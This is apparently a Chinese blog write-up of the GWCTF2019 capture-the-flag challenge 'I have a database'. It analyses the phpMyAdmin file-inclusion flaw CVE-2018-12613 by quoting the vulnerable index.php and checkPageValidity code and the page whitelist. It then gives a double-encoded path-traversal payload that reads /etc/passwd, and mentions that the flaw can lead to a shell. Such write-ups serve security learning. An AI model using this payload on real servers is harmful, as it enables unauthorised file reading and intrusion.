GWCTF2019-我有一个数据库

本文最后更新于:2024年4月6日 下午

image-20220107115140744

题目到手是乱码,看了一下f12没啥东西

buu又不给用扫描器,遂无思路


跑去看了一眼师傅们的wp,遂知道有个phpmyadmin

进去看看

image-20220107164820466

有版本信息

这个版本的phpmyadmin存在文件包含漏洞(CVE-2018-12613)

就此机会先详细了解一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$target_blacklist = array (
'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target']) #非空
&& is_string($_REQUEST['target']) #是字符串
&& ! preg_match('/^index/', $_REQUEST['target']) #不能index开头
&& ! in_array($_REQUEST['target'], $target_blacklist) #不能在上面的黑名单里
&& Core::checkPageValidity($_REQUEST['target']) #满足此函数
) {
include $_REQUEST['target'];
exit;
}e;
}


这是index.php的50-63行代码

这里满足if里的五个过滤条件即可包含文件,我们这里逐条注释一下

最后一个条件在core.php的443-476行

来看一下

mb_substr()这个函数的作用是获取部分字符串,直接看官方文档

image-20220107170355514

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
} #白名单的设置,因为上面的调用中没有传入白名单,所以会调用$goto_whitelist
if (! isset($page) || !is_string($page)) {
return false;
} #如果没有传入或者非字符就会返回false

if (in_array($page, $whitelist)) {
return true;
} #如果在白名单里,就会返回true

$_page = mb_substr(#这里的$_page是把问号以及后面的东西去掉,如果也在白名单里就返回true
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page); #这里是考虑了编码的情况
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

这里是$goto_whitelist% %25

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);


了解了过滤机制,就可以着手绕过了,因为服务器本身会进行一次解码,所以进行双重编码

image-20220110172300149

%25就是%的意思

也就是说这里传入?target=user_password.php%253f,首先服务器进行第一次解码得到?target=user_password.php%3f,紧接着第一次判断失败,进行urldecode后第二次判断,这时为?target=user_password.php?,验证函数返回true。

然而此时index.php中include的仍然是原始的target而不是decode后的$_page,这时就会导致绕过。

然后没有对目录穿越进行防护,此时就能有?target=user_password.php%253f/../../../../../../../../etc/passwd

构成任意文件读取

image-20220110173329231

mark一下,这个洞可以getshell

到此为止~


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!